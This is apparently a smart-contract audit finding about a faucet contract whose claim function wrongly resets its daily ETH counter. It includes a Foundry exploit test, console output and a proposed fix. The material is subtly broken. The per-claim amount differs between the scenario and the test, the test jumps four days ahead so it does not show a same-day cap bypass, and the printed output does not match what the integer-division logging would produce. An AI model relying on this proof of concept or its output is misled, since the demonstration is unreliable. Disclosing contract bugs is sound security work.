Description
The claimFaucetTokens() function contains flawed logic for tracking daily ETH drips. When a user has already claimed ETH or when ETH drips are paused, the function incorrectly resets dailyDrips to 0 (line 212), which breaks the daily ETH cap tracking mechanism and allows unlimited ETH distribution.
Expected Behavior
The dailyDrips variable should only be reset when a new day begins (when currentDay > lastDripDay), not when individual claim conditions aren't met. It should accumulate all ETH dripped throughout the day regardless of which users claim.
Actual Behavior
The function resets dailyDrips = 0 in the else block (line 212) whenever a user doesn't receive ETH (either because they already claimed or drips are paused). This causes the daily tracking to reset incorrectly, allowing the daily cap to be bypassed.
Root Cause
The logic flaw exists in the else block at lines 211-213:
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
}
Problem Scenario:
User A claims (first-time) → dailyDrips = 0.005 ETH
User B claims (first-time) → dailyDrips = 0.01 ETH
User A claims again (already claimed) → dailyDrips = 0 (RESET!)
User C claims (first-time) → dailyDrips = 0.005 ETH (should be 0.015 ETH)
Daily cap is bypassed because counter was reset
Risk Assessment
Impact
Medium impact because:
Daily ETH cap bypass: The dailySepEthCap becomes ineffective as the counter resets incorrectly
Faster ETH depletion: More ETH can be distributed per day than intended
Economic loss: The faucet's ETH reserves drain faster than planned
Unfair distribution: Some users may receive ETH while others are denied due to incorrect cap calculations
Likelihood
High likelihood because:
-
Triggers every time a non-first-time claimer calls the function
-
Triggers every time ETH drips are paused
-
No special conditions required - happens during normal operation
-
Will affect every deployment of this contract
Proof of Concept
pragma solidity ^0.8.30;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract DailyDripsResetExploitTest is Test {
RaiseBoxFaucet faucet;
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
function setUp() public {
faucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
0.01 ether,
0.02 ether
);
vm.deal(address(faucet), 10 ether);
vm.warp(3 days);
}
function testDailyDripsResetBug() public {
console.log("=== Testing Daily Drips Reset Bug ===");
console.log("Daily cap:", faucet.dailySepEthCap() / 1e18, "ETH");
console.log("ETH per claim:", faucet.sepEthAmountToDrip() / 1e18, "ETH");
console.log("Expected max claims per day: 2");
console.log("");
vm.prank(user1);
faucet.claimFaucetTokens();
console.log("After User1 claim - dailyDrips:", faucet.dailyDrips() / 1e18, "ETH");
assertEq(faucet.dailyDrips(), 0.01 ether, "Should be 0.01 ETH");
vm.prank(user2);
faucet.claimFaucetTokens();
console.log("After User2 claim - dailyDrips:", faucet.dailyDrips() / 1e18, "ETH (cap reached)");
assertEq(faucet.dailyDrips(), 0.02 ether, "Should be 0.02 ETH (cap reached)");
vm.warp(block.timestamp + 4 days);
vm.prank(user1);
faucet.claimFaucetTokens();
console.log("After User1 second claim - dailyDrips:", faucet.dailyDrips() / 1e18, "ETH");
console.log("BUG: dailyDrips was reset to 0!");
assertEq(faucet.dailyDrips(), 0, "BUG: Counter incorrectly reset");
vm.prank(user3);
faucet.claimFaucetTokens();
console.log("After User3 claim - dailyDrips:", faucet.dailyDrips() / 1e18, "ETH (should have been blocked!)");
assertEq(faucet.dailyDrips(), 0.01 ether, "User3 received ETH due to reset bug");
vm.prank(user4);
faucet.claimFaucetTokens();
console.log("After User4 claim - dailyDrips:", faucet.dailyDrips() / 1e18, "ETH (cap bypassed!)");
assertEq(faucet.dailyDrips(), 0.02 ether, "User4 also received ETH");
console.log("");
console.log("RESULT: 4 users received ETH (0.04 ETH total)");
console.log("EXPECTED: Only 2 users should receive ETH (0.02 ETH total)");
console.log("Daily cap was bypassed due to incorrect reset logic!");
}
}
Console Output
=== Testing Daily Drips Reset Bug ===
Daily cap: 0.02 ETH
ETH per claim: 0.01 ETH
Expected max claims per day: 2
After User1 claim - dailyDrips: 0.01 ETH
After User2 claim - dailyDrips: 0.02 ETH (cap reached)
After User1 second claim - dailyDrips: 0 ETH
BUG: dailyDrips was reset to 0!
After User3 claim - dailyDrips: 0.01 ETH (should have been blocked!)
After User4 claim - dailyDrips: 0.02 ETH (cap bypassed!)
RESULT: 4 users received ETH (0.04 ETH total)
EXPECTED: Only 2 users should receive ETH (0.02 ETH total)
Daily cap was bypassed due to incorrect reset logic!
Recommended Mitigation
Remove the incorrect dailyDrips = 0 reset from the else block. The daily reset should only happen when a new day begins:
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
}
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
}
}
Explanation
The fix ensures that:
Correct daily tracking: dailyDrips only resets when a new calendar day begins
Proper cap enforcement: The daily ETH cap is correctly enforced across all claims
Persistent accumulation: Daily drips accumulate throughout the day regardless of individual claim outcomes
Predictable behavior: The faucet distributes ETH according to the configured daily cap